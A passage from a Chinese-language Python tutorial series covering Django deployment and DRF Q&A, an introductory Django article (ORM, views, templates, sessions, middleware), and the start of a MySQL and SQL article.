        proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
    }
}

上线检查清单

□ settings.py 中 DEBUG = False（生产必关！否则泄露敏感信息）
□ 配置 ALLOWED_HOSTS = ['example.com', 'www.example.com']
□ 用环境变量管理 SECRET_KEY、数据库密码（不硬编码）
□ python manage.py collectstatic 收集静态文件
□ 生产数据库用 PostgreSQL/MySQL，不用 SQLite
□ 配置 HTTPS（Let's Encrypt 免费证书）
□ 用 systemd / supervisor 守护 Gunicorn 进程
□ 配置数据库定时备份
□ 开启日志监控（错误告警）

[!WARNING] 生产环境必须 DEBUG = False 并正确配置 ALLOWED_HOSTS。DEBUG=True 会在报错页面暴露源码、数据库配置、密钥等敏感信息，是严重安全隐患。SECRET_KEY 要用环境变量注入，绝不提交到代码仓库。

常见问题 Q&A

Q1：DRF 和直接用 Django 写 JSON 接口有什么区别？ A：Django 原生要手动序列化、校验、处理认证。DRF 提供了 Serializer（自动序列化+校验）、ViewSet（自动 CRUD）、Router（自动路由）、认证权限限流分页等一整套组件，写 API 快得多，也更规范。

Q2：JWT 和 Session 认证怎么选？ A：Session 需要服务器存状态，多机部署要用 Redis 共享 Session，适合传统 Web；JWT 无状态（信息在 token 里），天然适合分布式、前后端分离、移动端。缺点是 JWT 难以主动失效（需配合黑名单）。

Q3：@action 是干什么的？ A：给 ViewSet 添加自定义接口（超出标准 CRUD 的操作）。detail=True 针对单个对象（URL 带 pk，如 /posts/1/publish/），detail=False 针对列表（如 /posts/hot/）。

Q4：序列化器里 read_only 和 write_only 有什么用？ A：read_only 字段只输出不接收（如 created_at、计算字段）；write_only 字段只接收不输出（如密码 password，避免泄露）。控制字段在序列化/反序列化时的行为。

Q5：ViewSet 和 GenericAPIView 怎么选？ A：ViewSet（尤其 ModelViewSet）配合 Router 自动生成全套 CRUD 路由，最省事，适合标准资源接口；GenericAPIView 更细粒度可控。简单 CRUD 用 ModelViewSet，有特殊逻辑用 APIView/GenericAPIView。

Q6：限流（Throttle）和缓存有什么区别？ A：限流是保护——限制单位时间请求次数，防止接口被刷爆（返回 429）；缓存是加速——把结果存起来复用，减少重复计算/查询。两者常配合：热点数据缓存 + 全局限流。

Q7：collectstatic 做了什么？ A：把各个 App 和第三方库的静态文件（css/js/img）统一收集到 STATIC_ROOT 目录，方便 Nginx/CDN 集中托管。生产部署必做，否则静态文件 404。

复习卡片

[!TIP] Django 进阶与 DRF 速记

REST 原则：资源用名词、HTTP 方法表达操作、JSON 交换、无状态

序列化器：ModelSerializer 做对象↔JSON 转换 + 校验；is_valid() + save()

read/write_only：控制字段输入输出；validate_<field> 单字段校验，validate 全局校验

视图层次：APIView → GenericAPIView → Mixin → ViewSet → ModelViewSet（越高层越省事）

Router：为 ViewSet 自动生成 CRUD 路由；@action 加自定义接口

认证：Session/Token/JWT；前后端分离首选 JWT（Authorization: Bearer <token>）

权限：IsAuthenticated/IsAdminUser；自定义 has_object_permission（如仅作者可改）

分页过滤限流：PageNumberPagination、django-filter（search/ordering）、Throttle（429）

性能：select_related/prefetch_related、only/defer、Redis 缓存、索引

部署：Nginx（静态+反代）→ Gunicorn/uWSGI → Django；生产 DEBUG=False + ALLOWED_HOSTS + 环境变量密钥 + collectstatic

[!TIP] 下一篇：网络爬虫将讲解爬虫原理与反爬应对、requests 与 BeautifulSoup 解析、正则与 XPath 提取、Selenium 处理动态页面、Scrapy 框架以及爬虫数据处理与合规。

返回 Python 学习路线总览 | 合集页

Django 入门

Fri, 18 Sep 2026 05:30:00 GMT

[!NOTE] 本文对应仓库 Day46~52：Django 快速上手、深入模型、静态资源与 Ajax、Cookie 与 Session、报表与日志、调试工具栏、中间件应用。Django 是 Python 最主流的全功能 Web 框架，"batteries included"（自带电池），掌握它能快速开发企业级网站。

一、Web 应用与 HTTP 基础

在学框架前，先搞懂 Web 是怎么工作的。

请求-响应模型（B/S 架构）

浏览器（Client）  ──HTTP 请求──▶  服务器（Server）
                 ◀──HTTP 响应──

Web 应用是 B/S（Browser/Server）架构，浏览器和服务器通过 HTTP 协议通信。HTTP 是无状态的——每次请求相互独立，服务器默认不记得"你是谁"，这就是后面 Cookie/Session 存在的原因。

HTTP 请求方法

方法	用途	幂等
GET	获取资源（查询）	是
POST	创建资源（提交表单）	否
PUT	更新资源（整体替换）	是
PATCH	局部更新	否
DELETE	删除资源	是

一个 HTTP 请求包含：
- 请求行：GET /index.html HTTP/1.1（方法 + 路径 + 协议版本）
- 请求头：Host、User-Agent、Cookie、Content-Type 等
- 请求体：POST/PUT 的数据（表单或 JSON）

一个 HTTP 响应包含：
- 状态行：HTTP/1.1 200 OK（协议 + 状态码 + 描述）
- 响应头：Content-Type、Content-Length、Set-Cookie 等
- 响应体：HTML/JSON/文件内容

常见状态码

2xx 成功：200 OK、201 Created、204 No Content
3xx 重定向：301 永久重定向、302 临时重定向、304 Not Modified（缓存）
4xx 客户端错误：400 请求错误、401 未认证、403 无权限、404 找不到
5xx 服务器错误：500 内部错误、502 网关错误、503 服务不可用

二、Django 概述与安装

什么是 Django

Django 是高级 Python Web 框架，遵循 MVT 模式，自带 ORM、Admin 后台、认证系统、表单处理、模板引擎等，让开发者专注于业务而非重复造轮子。

组件	作用
Models（模型）	数据结构，对应数据库表，通过 ORM 操作
Views（视图）	业务逻辑，接收请求、处理、返回响应
Templates（模板）	页面展示，HTML + Django 模板语法
URLs（路由）	把 URL 映射到视图函数

[!NOTE] MVC vs MVT：传统 MVC 是 Model-View-Controller。Django 里 View 相当于 Controller（业务逻辑），Template 相当于 View（展示）。整体框架（URL 分发）充当 Controller。

安装与创建项目

# 安装 Django
pip install django

# 查看版本
django-admin --version

# 创建项目（会生成一个项目目录）
django-admin startproject mysite
cd mysite

# 创建应用（一个项目可有多个应用）
python manage.py startapp blog

# 数据库迁移
python manage.py migrate

# 创建超级管理员（用于登录 Admin 后台）
python manage.py createsuperuser

# 启动开发服务器（默认 8000 端口）
python manage.py runserver

项目结构

mysite/
├── manage.py              # 项目管理命令入口
├── mysite/                # 项目配置目录
│   ├── __init__.py
│   ├── settings.py        # 全局配置（数据库、应用、中间件）
│   ├── urls.py            # 根路由
│   ├── asgi.py            # ASGI 入口（异步）
│   └── wsgi.py            # WSGI 入口（同步）
└── blog/                  # 应用目录
    ├── __init__.py
    ├── admin.py           # Admin 后台注册
    ├── apps.py            # 应用配置
    ├── models.py          # 数据模型
    ├── views.py           # 视图
    ├── urls.py            # 应用路由（需自己创建）
    ├── tests.py           # 测试
    └── migrations/        # 数据库迁移记录

三、第一个 Django 视图（Day46 五分钟上手）

编写视图

# blog/views.py
from django.http import HttpResponse

def index(request):
    """最简单的视图：返回一个 HttpResponse"""
    return HttpResponse("Hello, Django!")

def detail(request, post_id):
    """带参数的视图：从 URL 取参数"""
    return HttpResponse(f"文章详情，ID = {post_id}")

配置路由

# blog/urls.py（应用级路由，需自己创建）
from django.urls import path
from . import views

app_name = "blog"      # 命名空间，用于反向解析

urlpatterns = [
    path("", views.index, name="index"),               # 访问 /blog/
    path("<int:post_id>/", views.detail, name="detail"), # 访问 /blog/1/
]

# mysite/urls.py（根路由，包含应用路由）
from django.contrib import admin
from django.urls import path, include

urlpatterns = [
    path("admin/", admin.site.urls),
    path("blog/", include("blog.urls")),   # 把 blog 应用的路由挂到 /blog/ 下
]

注册应用与配置

# mysite/settings.py
INSTALLED_APPS = [
    "django.contrib.admin",
    "django.contrib.auth",
    "django.contrib.contenttypes",
    "django.contrib.sessions",
    "django.contrib.messages",
    "django.contrib.staticfiles",
    "blog",                    # 注册自己的应用
]

# 数据库配置（默认 SQLite，可换成 MySQL）
DATABASES = {
    "default": {
        "ENGINE": "django.db.backends.sqlite3",
        "NAME": BASE_DIR / "db.sqlite3",
    }
}

[!TIP] 启动 python manage.py runserver 后访问 http://127.0.0.1:8000/blog/ 就能看到 "Hello, Django!"。这就是 Django 的最小闭环：URL → 视图 → 响应。

四、深入模型与 ORM（Day47）

ORM（对象关系映射）让你用 Python 类操作数据库表，无需写 SQL。

定义模型

# blog/models.py
from django.db import models

class Category(models.Model):
    name = models.CharField(max_length=50, unique=True)

    def __str__(self):          # 定义对象的可读表示
        return self.name

class Post(models.Model):
    # 字段类型对应数据库列类型
    title = models.CharField(max_length=200)              # 字符串
    content = models.TextField()                          # 大文本
    views = models.IntegerField(default=0)                # 整数，默认 0
    is_published = models.BooleanField(default=False)     # 布尔
    created_at = models.DateTimeField(auto_now_add=True)  # 创建时间
    updated_at = models.DateTimeField(auto_now=True)      # 更新时间

    # 关系字段
    category = models.ForeignKey(                         # 多对一
        Category, on_delete=models.CASCADE, related_name="posts"
    )
    tags = models.ManyToManyField("Tag")                  # 多对多

    class Meta:
        ordering = ["-created_at"]      # 默认排序（- 降序）
        db_table = "blog_post"          # 自定义表名

    def __str__(self):
        return self.title

class Tag(models.Model):
    name = models.CharField(max_length=30)
    def __str__(self):
        return self.name

常用字段类型

字段	数据库类型	说明
`CharField(max_length)`	VARCHAR	短字符串（必填 max_length）
`TextField`	TEXT	长文本
`IntegerField`	INT	整数
`FloatField` / `DecimalField`	FLOAT/DECIMAL	小数（金额用 Decimal）
`BooleanField`	BOOL	布尔
`DateField` / `DateTimeField`	DATE/DATETIME	日期/日期时间
`ForeignKey`	外键	多对一关系
`OneToOneField`	外键唯一	一对一
`ManyToManyField`	中间表	多对多

迁移

# 1. 生成迁移文件（根据模型变化生成 SQL）
python manage.py makemigrations

# 2. 执行迁移（应用到数据库）
python manage.py migrate

# 查看某应用的 SQL（不执行）
python manage.py sqlmigrate blog 0001

[!WARNING] 每次修改 models.py 后，必须先 makemigrations 再 migrate，否则数据库不会同步。迁移文件（migrations/ 目录）要纳入版本控制。

ORM 之 CRUD

from blog.models import Post, Category

# 增（Create）
cat = Category.objects.create(name="技术")
post = Post(title="标题", content="内容", category=cat)
post.save()                                  # 或者 Post.objects.create(...)

# 查（Read）——返回 QuerySet（惰性，用到才查库）
Post.objects.all()                           # 全部
Post.objects.get(id=1)                       # 唯一一条（找不到抛异常）
Post.objects.filter(is_published=True)       # 条件过滤
Post.objects.exclude(is_published=False)     # 排除
Post.objects.filter(title__contains="Django") # 模糊查询（双下划线）
Post.objects.filter(views__gt=100)           # 大于
Post.objects.filter(category__name="技术")    # 跨关系查询
Post.objects.order_by("-views")[:10]         # 排序 + 切片（Top10）
Post.objects.first()                         # 第一条
Post.objects.count()                         # 计数

# 改（Update）
post = Post.objects.get(id=1)
post.views += 1
post.save()                                  # 保存整个对象
Post.objects.filter(id=1).update(views=99)   # 批量更新（更高效）

# 删（Delete）
post.delete()                                # 删单条
Post.objects.filter(is_published=False).delete()  # 批量删

查询条件（双下划线）

__exact / __iexact   精确 / 忽略大小写
__contains           包含（LIKE %x%）
__startswith / __endswith  以...开头/结尾
__in                 在列表中
__gt / __gte         大于 / 大于等于
__lt / __lte         小于 / 小于等于
__range              范围（BETWEEN）
__isnull             是否为 NULL

关联查询优化（N+1 问题）

# ❌ N+1 问题：查 N 篇文章，每篇访问 category 又查一次库（共 N+1 次）
for post in Post.objects.all():
    print(post.category.name)

# ✅ select_related：一次 JOIN 把外键对象一起查出来（多对一）
for post in Post.objects.select_related("category").all():
    print(post.category.name)

# ✅ prefetch_related：多对多/反向外键，两次查询后在内存组装
for post in Post.objects.prefetch_related("tags").all():
    print([t.name for t in post.tags.all()])

[!TIP] select_related 用 SQL JOIN，适合 ForeignKey/OneToOne；prefetch_related 分开查再合并，适合 ManyToMany/反向关系。合理用它们能大幅减少数据库查询次数。

Admin 后台

# blog/admin.py
from django.contrib import admin
from .models import Post, Category

@admin.register(Post)              # 注册模型到后台
class PostAdmin(admin.ModelAdmin):
    list_display = ["title", "category", "views", "is_published", "created_at"]
    list_filter = ["is_published", "category"]     # 侧边筛选
    search_fields = ["title", "content"]          # 搜索框
    ordering = ["-created_at"]
    list_editable = ["is_published"]              # 列表页可直接编辑

admin.site.register(Category)      # 另一种注册方式

创建超级管理员后访问 http://127.0.0.1:8000/admin/，即可用图形界面管理数据，非常适合后台增删改查。

五、视图进阶与模板

类视图与通用视图

# blog/views.py
from django.views.generic import ListView, DetailView
from .models import Post

# ListView：列表页（自动分页、传 object_list 给模板）
class PostListView(ListView):
    model = Post
    template_name = "blog/post_list.html"
    context_object_name = "posts"
    paginate_by = 10

# DetailView：详情页
class PostDetailView(DetailView):
    model = Post
    template_name = "blog/post_detail.html"

模板语法

<!-- blog/templates/blog/post_list.html -->
{% extends "base.html" %}          <!-- 继承父模板 -->

{% block content %}                <!-- 填充内容块 -->
<h1>文章列表</h1>
<ul>
    {% for post in posts %}        <!-- 循环 -->
    <li>
        <a href="{% url 'blog:detail' post.id %}">{{ post.title }}</a>
        {% if post.views > 100 %}🔥{% endif %}   <!-- 条件 -->
    </li>
    {% empty %}
    <li>暂无文章</li>
    {% endfor %}
</ul>

<!-- 分页 -->
{% if is_paginated %}
    {% if page_obj.has_previous %}
        <a href="?page={{ page_obj.previous_page_number }}">上一页</a>
    {% endif %}
    第 {{ page_obj.number }} / {{ page_obj.paginator.num_pages }} 页
{% endif %}
{% endblock %}

模板语法速记：
{{ 变量 }}        输出变量（自动 HTML 转义）
{% 标签 %}        逻辑标签（for/if/extends/block/url）
{# 注释 #}        注释
{{ post.title }}  访问属性/方法
{{ list|length }} 过滤器（管道）

[!NOTE] 模板中的 {{ }} 会自动做 HTML 转义防 XSS 攻击。如果确实要输出原始 HTML，用 {{ content|safe }}，但要确保内容可信。

六、静态资源与 Ajax（Day48）

静态资源

# settings.py
STATIC_URL = "/static/"                       # URL 前缀
STATICFILES_DIRS = [BASE_DIR / "static"]      # 静态文件目录

{% load static %}                              <!-- 先加载 static 标签 -->
<img src="{% static 'images/logo.png' %}">
<link rel="stylesheet" href="{% static 'css/style.css' %}">

Ajax 异步请求

用 JavaScript（fetch）实现无刷新更新，Django 返回 JSON。

# blog/views.py
from django.http import JsonResponse
from django.views.decorators.http import require_POST

@require_POST                        # 只接受 POST
def like_post(request, post_id):
    post = Post.objects.get(id=post_id)
    post.views += 1
    post.save()
    return JsonResponse({"code": 200, "views": post.views})

// 前端 fetch 请求
fetch('/blog/api/like/1/', {
    method: 'POST',
    headers: {
        'Content-Type': 'application/json',
        'X-CSRFToken': getCookie('csrftoken'),   // CSRF 令牌（见下）
    },
    body: JSON.stringify({}),
})
.then(resp => resp.json())
.then(data => console.log(data.views));

function getCookie(name) {
    const value = `; ${document.cookie}`;
    const parts = value.split(`; ${name}=`);
    if (parts.length === 2) return parts.pop().split(';').shift();
}

[!WARNING] Django 对 POST/PUT/DELETE 默认启用 CSRF 保护。Ajax 请求必须在头部带上 X-CSRFToken（值取自 csrftoken Cookie），否则会返回 403。表单则用 {% csrf_token %} 标签。

七、Cookie 与 Session（Day49）

HTTP 无状态，靠 Cookie/Session 实现"记住用户"。

Cookie（存在浏览器）

# 设置 Cookie（在响应对象上）
def set_cookie(request):
    response = HttpResponse("已设置 Cookie")
    response.set_cookie("username", "tom", max_age=3600)  # 1 小时过期
    return response

# 读取 Cookie
def get_cookie(request):
    username = request.COOKIES.get("username")
    return HttpResponse(f"你好，{username}")

Session（存在服务器）

# 写 Session
request.session["user_id"] = 123
request.session["cart"] = {"item1": 2}

# 读 Session
user_id = request.session.get("user_id")

# 删 Session
del request.session["user_id"]
request.session.flush()        # 清空当前会话

Cookie vs Session：
┌──────────┬──────────────────┬──────────────────┐
│          │ Cookie           │ Session          │
├──────────┼──────────────────┼──────────────────┤
│ 存储位置 │ 浏览器           │ 服务器           │
│ 安全性   │ 较低（用户可见） │ 较高             │
│ 容量     │ 约 4KB           │ 较大             │
│ 生命周期 │ 可设过期时间     │ 默认 2 周        │
│ 关联     │ SessionID 存 Cookie，服务器用 SessionID 找数据 │
└──────────┴──────────────────┴──────────────────┘

[!NOTE] Session 的实现依赖 Cookie：服务器把 sessionid 存进浏览器 Cookie，下次请求带回来，服务器据此找到对应的会话数据。Django 默认把 Session 存数据库，也可配置存缓存（Redis）提升性能。

Django 内置用户认证

from django.contrib.auth import authenticate, login, logout
from django.contrib.auth.decorators import login_required

def user_login(request):
    if request.method == "POST":
        username = request.POST.get("username")
        password = request.POST.get("password")
        user = authenticate(request, username=username, password=password)
        if user is not None:
            login(request, user)              # 登录（写入 Session）
            return redirect("blog:index")
    return render(request, "login.html")

@login_required                               # 未登录自动跳登录页
def profile(request):
    return HttpResponse(f"你好，{request.user.username}")

def user_logout(request):
    logout(request)                           # 退出
    return redirect("blog:index")

八、报表与日志（Day50-51）

生成报表（导出 Excel / PDF）

# 导出 Excel（用 xlwt）
import xlwt
from django.http import HttpResponse

def export_excel(request):
    response = HttpResponse(content_type="application/vnd.ms-excel")
    response["Content-Disposition"] = 'attachment; filename="posts.xls"'

    wb = xlwt.Workbook(encoding="utf-8")
    ws = wb.add_sheet("文章")
    ws.write(0, 0, "标题")           # 表头
    ws.write(0, 1, "阅读量")
    row = 1
    for post in Post.objects.all():
        ws.write(row, 0, post.title)
        ws.write(row, 1, post.views)
        row += 1
    wb.save(response)               # 直接写入响应流
    return response

# 导出 PDF 用 reportlab；前端图表用 ECharts（后端提供 JSON 数据接口）

日志

# settings.py 配置日志
LOGGING = {
    "version": 1,
    "handlers": {
        "file": {
            "level": "WARNING",
            "class": "logging.FileHandler",
            "filename": "debug.log",
        },
    },
    "loggers": {
        "django": {"handlers": ["file"], "level": "WARNING"},
    },
}

# 视图中记录日志
import logging
logger = logging.getLogger(__name__)

def index(request):
    logger.info("访问首页")
    logger.warning("这条会写入文件")
    return HttpResponse("OK")

日志级别（由低到高）：DEBUG < INFO < WARNING < ERROR < CRITICAL
设置某级别后，只记录该级别及以上的日志。

Django Debug Toolbar

# 开发利器：显示 SQL 查询、请求耗时、模板渲染等
pip install django-debug-toolbar

# settings.py
INSTALLED_APPS += ["debug_toolbar"]
MIDDLEWARE += ["debug_toolbar.middleware.DebugToolbarMiddleware"]
INTERNAL_IPS = ["127.0.0.1"]

# urls.py（DEBUG=True 时挂载）
if settings.DEBUG:
    import debug_toolbar
    urlpatterns += [path("__debug__/", include(debug_toolbar.urls))]

[!TIP] Debug Toolbar 能直观看到每个请求执行了多少条 SQL、耗时多少，是排查 N+1 查询和性能问题的第一工具。仅用于开发环境，生产务必关闭。

九、中间件（Day52）

中间件是介于请求进来和响应出去之间的钩子，全局处理请求/响应。

请求 → 中间件1 → 中间件2 → ... → 视图 → ... → 中间件2 → 中间件1 → 响应
       （洋葱模型：进来从上到下，出去从下到上）

Django 内置中间件

中间件	作用
`SecurityMiddleware`	安全相关（HTTPS 重定向等）
`SessionMiddleware`	Session 管理
`CommonMiddleware`	URL 规范化、APPEND_SLASH
`CsrfViewMiddleware`	CSRF 保护
`AuthenticationMiddleware`	把 user 绑定到 request
`MessageMiddleware`	一次性消息提示（flash）

自定义中间件

# blog/middleware.py
import time
import logging

logger = logging.getLogger(__name__)

class RequestTimeMiddleware:
    """记录每个请求的处理耗时"""
    def __init__(self, get_response):
        self.get_response = get_response       # 保存下一个中间件/视图

    def __call__(self, request):
        start = time.time()                    # 请求进来（视图前）
        response = self.get_response(request)  # 调用后续处理
        duration = time.time() - start         # 响应出去（视图后）
        logger.info(f"{request.path} 耗时 {duration:.3f}s")
        return response

# settings.py 注册（顺序很重要）
MIDDLEWARE = [
    "django.middleware.security.SecurityMiddleware",
    "blog.middleware.RequestTimeMiddleware",   # 加自己的
    # ...
]

[!NOTE] 中间件顺序影响执行时机：越靠上，请求阶段越早执行、响应阶段越晚执行。典型用途：记录耗时、IP 黑名单、请求日志、全局异常处理、修改请求/响应头。

常见问题 Q&A

Q1：Django 和 Flask 怎么选？ A：Django 是"全家桶"，自带 ORM、Admin、认证，适合中大型、快速开发、功能完整的项目；Flask 是"微框架"，轻量灵活，适合小型应用或需要高度定制的场景。企业级后台、CMS 类首选 Django。

Q2：一个 Project 和一个 App 什么关系？ A：Project 是整个网站（含全局配置），App 是可复用的功能模块（如博客、用户、评论）。一个 Project 可包含多个 App，App 理论上能在不同 Project 间复用。

Q3：get() 和 filter() 有什么区别？ A：get() 返回单个对象，找不到抛 DoesNotExist，找到多个抛 MultipleObjectsReturned；filter() 返回 QuerySet（可能 0 到多条），不报错。取单条确定存在的用 get()，不确定用 filter().first()。

Q4：QuerySet 是惰性的，什么意思？ A：写了 Post.objects.filter(...) 并不会立即查数据库，只有在你遍历、切片、count()、len()、bool() 等"求值"操作时才真正执行 SQL。所以可以把 QuerySet 传来传去组合，直到需要数据才查库。

Q5：如何解决 N+1 查询问题？ A：用 select_related()（ForeignKey/OneToOne，SQL JOIN）和 prefetch_related()（ManyToMany/反向关系，分查再合并）预加载关联数据。配合 Debug Toolbar 观察 SQL 数量验证效果。

Q6：makemigrations 和 migrate 的区别？ A：makemigrations 根据模型改动生成迁移文件（记录要执行的 SQL）；migrate 执行这些迁移文件，把改动应用到数据库。前者是"计划"，后者是"执行"。

Q7：CSRF 是什么？为什么 Ajax 要带 token？ A：CSRF（跨站请求伪造）指攻击者诱导用户在已登录的站点执行非预期操作。Django 默认对 POST 等请求校验 CSRF token。Ajax 请求要在头里带 X-CSRFToken，让服务器确认请求来自本站，否则返回 403。

复习卡片

[!TIP] Django 入门速记

MVT 模式：Model（数据/ORM）、View（业务逻辑）、Template（展示），URL 分发充当 Controller

最小闭环：URL（path）→ 视图（返回 HttpResponse）→ 响应；runserver 启动

ORM 字段：CharField/TextField/IntegerField/DateTimeField + ForeignKey/ManyToMany

迁移两步：makemigrations（生成）→ migrate（执行），改模型必做

CRUD：objects.create/get/filter/exclude/update/delete，双下划线条件（__gt/__contains）

N+1 优化：select_related（JOIN，一对多）、prefetch_related（分查合并，多对多）

Admin 后台：@admin.register + list_display/list_filter/search_fields

Cookie/Session：Cookie 存浏览器、Session 存服务器；sessionid 关联；login_required

CSRF：POST 请求需带 token，Ajax 用 X-CSRFToken 头，表单用 {% csrf_token %}

中间件：洋葱模型，全局处理请求/响应，常用于耗时统计、日志、IP 过滤

[!TIP] 下一篇：Django 进阶与 DRF 将讲解 RESTful API 设计、Django Rest Framework（序列化器、视图集、路由器）、认证与权限、分页限流，以及 Django 项目的部署上线。

返回 Python 学习路线总览 | 合集页

数据库与 MySQL

Fri, 18 Sep 2026 05:00:00 GMT

[!NOTE] 本文对应仓库 Day36~45：关系型数据库与 MySQL、SQL 详解、索引优化、Python 接入数据库、Hive 实战。数据库是后端开发的基石，SQL 更是每个程序员的必备技能。

一、关系型数据库概述

关系型数据库（RDBMS）用二维表存储数据，表之间通过外键关联，支持 SQL 查询和事务（ACID）。

概念	说明
数据库 Database	多张表的集合
表 Table	行（记录）+ 列（字段）
主键 Primary Key	唯一标识一行，非空且唯一
外键 Foreign Key	关联另一张表的主键
索引 Index	加速查询的数据结构
事务 Transaction	一组操作，要么全成功要么全失败

# 安装 MySQL（Ubuntu）
sudo apt install mysql-server
sudo systemctl start mysql

# 连接
mysql -u root -p

# 基本命令
SHOW DATABASES;              # 查看所有数据库
CREATE DATABASE shop;        # 建库
USE shop;                    # 选择数据库
SHOW TABLES;                 # 查看所有表
DESC users;                  # 查看表结构

二、SQL 之 DDL（数据定义）

DDL 用于定义数据库结构（库、表、字段）。

-- 建表
CREATE TABLE users (
    id INT PRIMARY KEY AUTO_INCREMENT,        -- 自增主键
    username VARCHAR(50) NOT NULL UNIQUE,     -- 非空且唯一
    email VARCHAR(100),
    age INT DEFAULT 0,                        -- 默认值
    balance DECIMAL(10, 2),                   -- 精确小数（金额）
    created_at DATETIME DEFAULT CURRENT_TIMESTAMP
);

-- 修改表
ALTER TABLE users ADD COLUMN phone VARCHAR(20);       -- 加列
ALTER TABLE users MODIFY COLUMN age SMALLINT;         -- 改列类型
ALTER TABLE users DROP COLUMN phone;                  -- 删列
ALTER TABLE users RENAME TO members;                  -- 改表名

-- 删除表 / 库
DROP TABLE IF EXISTS users;
DROP DATABASE IF EXISTS shop;

常用数据类型

类型	说明
INT / BIGINT	整数 / 大整数
DECIMAL(M,D)	精确小数（金额必用，避免 float 精度问题）
VARCHAR(n)	变长字符串
CHAR(n)	定长字符串
TEXT	大文本
DATE / DATETIME / TIMESTAMP	日期 / 日期时间 / 时间戳
JSON	JSON 类型（MySQL 5.7+）
BOOLEAN	布尔（实际是 TINYINT）

三、SQL 之 DML（数据操作）

DML 用于增删改数据。

-- 插入
INSERT INTO users (username, email, age) VALUES ('tom', 'tom@x.com', 25);
INSERT INTO users (username, age) VALUES ('amy', 30), ('bob', 28);   -- 批量

-- 更新
UPDATE users SET age = 26 WHERE username = 'tom';
UPDATE users SET age = age + 1 WHERE age < 30;   -- 表达式更新

-- 删除
DELETE FROM users WHERE id = 1;
DELETE FROM users;                 -- 删所有行（可回滚）
TRUNCATE TABLE users;              -- 清空表（更快，不可回滚，重置自增）

[!WARNING] UPDATE / DELETE 一定要带 WHERE！不带条件会修改/删除全表数据，是生产事故高发区。执行前先用相同 WHERE 跑一遍 SELECT 确认影响范围。

四、SQL 之 DQL（数据查询，重点）

查询是 SQL 最核心、最复杂的部分。

基本查询

-- 投影与别名
SELECT username AS name, age FROM users;
SELECT * FROM users;                       -- 查所有列（生产慎用）

-- 筛选 WHERE
SELECT * FROM users WHERE age > 18;
SELECT * FROM users WHERE age BETWEEN 18 AND 30;
SELECT * FROM users WHERE username IN ('tom', 'amy');
SELECT * FROM users WHERE username LIKE 't%';     -- 模糊（% 任意多，_ 单个）
SELECT * FROM users WHERE email IS NULL;          -- 空值判断用 IS NULL
SELECT * FROM users WHERE age > 18 AND balance > 100;

-- 去重
SELECT DISTINCT city FROM users;

-- 排序（ASC 升序默认，DESC 降序）
SELECT * FROM users ORDER BY age DESC, username ASC;

-- 分页（LIMIT 偏移量, 条数）
SELECT * FROM users ORDER BY id LIMIT 10 OFFSET 20;   -- 跳过20取10条
SELECT * FROM users LIMIT 20, 10;                     -- 等价写法

聚合与分组

-- 聚合函数
SELECT COUNT(*) FROM users;                    -- 计数
SELECT AVG(age), MAX(balance), MIN(balance), SUM(balance) FROM users;

-- 分组 GROUP BY
SELECT city, COUNT(*) AS num, AVG(age) AS avg_age
FROM users
GROUP BY city;

-- 分组后筛选 HAVING（WHERE 不能用聚合函数，HAVING 可以）
SELECT city, COUNT(*) AS num
FROM users
GROUP BY city
HAVING COUNT(*) > 10;

[!NOTE] WHERE vs HAVING：WHERE 在分组前过滤行，不能用聚合函数；HAVING 在分组后过滤组，可以用聚合函数。执行顺序：FROM → WHERE → GROUP BY → HAVING → SELECT → ORDER BY → LIMIT。

多表连接（JOIN）

-- 假设有 orders 表：orders(id, user_id, amount)

-- 内连接：只返回两表都匹配的行
SELECT u.username, o.amount
FROM users u
INNER JOIN orders o ON u.id = o.user_id;

-- 左连接：返回左表全部 + 右表匹配（无匹配为 NULL）
SELECT u.username, o.amount
FROM users u
LEFT JOIN orders o ON u.id = o.user_id;

-- 右连接：返回右表全部
SELECT u.username, o.amount
FROM users u
RIGHT JOIN orders o ON u.id = o.user_id;

-- 自连接（表和自己连）
SELECT e.name AS 员工, m.name AS 上级
FROM employees e
LEFT JOIN employees m ON e.manager_id = m.id;

连接类型示意：
内连接 INNER JOIN     A ∩ B          （交集）
左连接 LEFT JOIN      A 全部 + B匹配  （A 为主）
右连接 RIGHT JOIN     B 全部 + A匹配  （B 为主）
全连接 FULL JOIN      A ∪ B          （并集，MySQL 不支持，用 UNION 模拟）

子查询与窗口函数

-- 子查询：嵌套在另一个查询里
SELECT username FROM users
WHERE age > (SELECT AVG(age) FROM users);      -- 大于平均年龄

SELECT * FROM users
WHERE id IN (SELECT user_id FROM orders WHERE amount > 1000);

-- 窗口函数（MySQL 8.0+）：不合并行，做组内计算
-- 每个城市内按余额排名
SELECT username, city, balance,
    RANK() OVER (PARTITION BY city ORDER BY balance DESC) AS rk,
    ROW_NUMBER() OVER (PARTITION BY city ORDER BY balance DESC) AS rn,
    SUM(balance) OVER (PARTITION BY city) AS city_total
FROM users;

窗口函数	作用
`ROW_NUMBER()`	连续序号 1,2,3,4
`RANK()`	排名（并列跳号）1,2,2,4
`DENSE_RANK()`	排名（并列不跳号）1,2,2,3
`LAG(col, n)`	取前 n 行的值
`LEAD(col, n)`	取后 n 行的值

五、SQL 之 DCL（数据控制）

-- 创建用户
CREATE USER 'app'@'localhost' IDENTIFIED BY 'password';

-- 授权
GRANT SELECT, INSERT ON shop.* TO 'app'@'localhost';   -- 授予某库权限
GRANT ALL PRIVILEGES ON shop.* TO 'admin'@'%';         -- 授予全部权限
FLUSH PRIVILEGES;                                       -- 刷新权限

-- 回收权限
REVOKE INSERT ON shop.* FROM 'app'@'localhost';

-- 删除用户
DROP USER 'app'@'localhost';

六、视图、函数与存储过程

-- 视图：把复杂查询封装成"虚拟表"
CREATE VIEW active_users AS
SELECT id, username, email FROM users WHERE age > 18;
SELECT * FROM active_users;              -- 像查表一样用

-- 存储过程：封装一段可复用的 SQL 逻辑
DELIMITER //
CREATE PROCEDURE get_user_count(OUT total INT)
BEGIN
    SELECT COUNT(*) INTO total FROM users;
END //
DELIMITER ;
CALL get_user_count(@n);                 -- 调用
SELECT @n;

七、索引

索引原理

索引用 B+ 树结构加速查询，把全表扫描 O(n) 降到 O(log n)，但会占用空间、拖慢写入。

-- 创建索引
CREATE INDEX idx_username ON users(username);         -- 普通索引
CREATE UNIQUE INDEX idx_email ON users(email);        -- 唯一索引
CREATE INDEX idx_city_age ON users(city, age);        -- 复合索引
CREATE INDEX idx_name ON users(username(10));         -- 前缀索引（长字符串）

-- 查看 / 删除
SHOW INDEX FROM users;
DROP INDEX idx_username ON users;

执行计划（EXPLAIN）

-- 分析查询是否用到索引
EXPLAIN SELECT * FROM users WHERE username = 'tom';

关键字段	含义
